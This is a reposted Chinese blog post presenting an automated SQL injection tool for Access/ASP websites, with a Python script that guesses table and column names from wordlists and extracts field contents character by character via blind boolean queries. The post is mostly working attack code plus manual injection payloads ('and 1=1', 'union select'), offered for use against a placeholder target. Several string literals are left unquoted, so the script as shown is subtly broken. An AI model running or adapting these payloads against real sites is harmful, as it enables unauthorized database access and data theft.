首页 > 数据库技术 > 详细

Access、Asp注入工具

时间:2020-02-23 20:35:34      阅读:105      评论:0      收藏:0      [点我收藏+]

0x00:前言

自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。

Access、Asp注入一般流程:

(1)找到注入点

  ‘

  and 1=1

  and 1=2

(2)猜解关键段

order by

联合查询找出显示点,注意隐式显示查看源码

union select ,,,,,,

(3)猜解表名

(4)猜解列名

(5)猜解内容

0x01:SQL工具

# _*_  coding:utf-8 _*_
‘‘‘
该脚本主要针对Access、ASP注入
‘‘‘
import requests

def getable(url):  #获取表名
    for line in open(tables.txt,r):
        target = url + "and exists(select * from " + line + ")"
        response = requests.get(target)
        response.encoding = gb2312
        if "XYCMS" in response.text:  #如果有返回结果
            print(line+" ")

def getcolumn(url): #获取列名
    tablename = input("which table ? ")
    print("columns‘ name : ")
    for line in open(columns.txt,r):
        target = url + "and (select count(" + line +") from "+ tablename +")>0"
        response = requests.get(target)
        response.encoding = gb2312
        if "XYCMS" in response.text:
            print(line+" ",end=‘‘)

def getcolumnlen(url,tablename,columname):
    for i in range(1,30):
        target = url + "and (select top 1 len("+columname+") from "+tablename+") = " + str(i)
        r = requests.get(target)
        r.encoding = gb2312
        if "XYCMS" in r.text:
            print("第一个字段长度:" + str(i))
            return i

def getmsg(len,url,tablename,columname): #只能获得第一行数据
    result = ""
    for i in range(1,len+1):
        for j in range(48,127):
            target = url + "and (select top 1 asc(mid("+columname+","+str(i)+",1)) from "+ tablename +")= "+str(j)
            #and (select top 1 asc(mid(列名,{0},1)) from 表名)= {1}
            r2 = requests.get(target)
            r2.encoding = gb2312
            if "XYCMS" in r2.text:
                result += chr(j)
                print(result)

if __name__ == __main__:
    url = "http://xxxxxxxxxx?id=1"
    #getable(url)
    print("tables done.")
    #getcolumn(url)
    print("columns done")
    tablename = input("which table ?")
    columname = input("which column ?")
    length = getcolumnlen(url,tablename,columname)
    getmsg(length,url,tablename,columname)
    print("done!")

 

Access、Asp注入工具

原文:https://www.cnblogs.com/liqik/p/12353964.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!